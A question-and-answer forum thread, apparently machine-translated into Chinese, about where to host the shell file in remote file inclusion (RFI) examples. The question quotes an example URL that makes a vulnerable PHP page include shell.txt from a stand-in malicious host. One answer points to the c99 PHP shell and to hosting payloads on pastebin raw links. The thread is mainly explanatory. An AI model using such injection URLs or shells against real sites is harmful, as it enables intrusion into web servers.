Question

所以我正在学习RFI，LFI并得到一个简单的问题。许多示例显示了如何将PHP文件插入页面以提取不同的信息。我的问题是我在哪里上传这个.txt文件？例如，您可以看到：

http://www.vulnerable.com/test.php?file=http://www.malicious.com/shell.txt

这是我的学习，我搜索了很多，但无法想象这个简单的事情。是否有特定的网站？

感谢。

Answer 1

你会在一个被废弃的俄罗斯服务器上上传这个文本文件，你可以通过Tor访问并攻击匿名代理，从一个网吧，你不需要注册给商店的所有者，也没有记录，在万圣节穿着风衣和山羊面具。

Google为“c99 php shell”。

如果您将PHP代码放入txt文件中，将其放入配置了PHP的服务器上的php文件中，它将在之前呈现。大约几年前，您可以搜索网站，每页发现5个易受攻击的网站。通过include和其他安全增强功能禁用远程文件包含 PHP反击。

在99％的服务器上，include('http://www.malicious.com/shell.txt');不再可能。

PHP文件http://www.vulnerable.com/test.php?file=将是您要破解的文件。

算了吧，.. RFI已经过时了，而且还有更酷的方法来破解，主要是SQL注入或CSF。

为了进行测试，可以将文件上传到任何地方，自由空间，本地服务器（Google：xampp，wampserver），Google云端硬盘，或者预测要测试的网站，例如： http://www.vulnerable.com/test.php?file=http://www.vulnerable.com/shell.txt

您也可以尝试使用pastebin.com来简化：http://pastebin.com/然后找到粘贴文字的原始链接，例如：http://pastebin.com/raw.php?i=GK9m8dAL

Answer 2

如果我理解正确：你展示的只是一个例子。它表明php脚本“test.php”可能是一个漏洞，因为它可能被“shell.txt”（RFI）误用。

“www.malicious.com”不是“真实”的地址。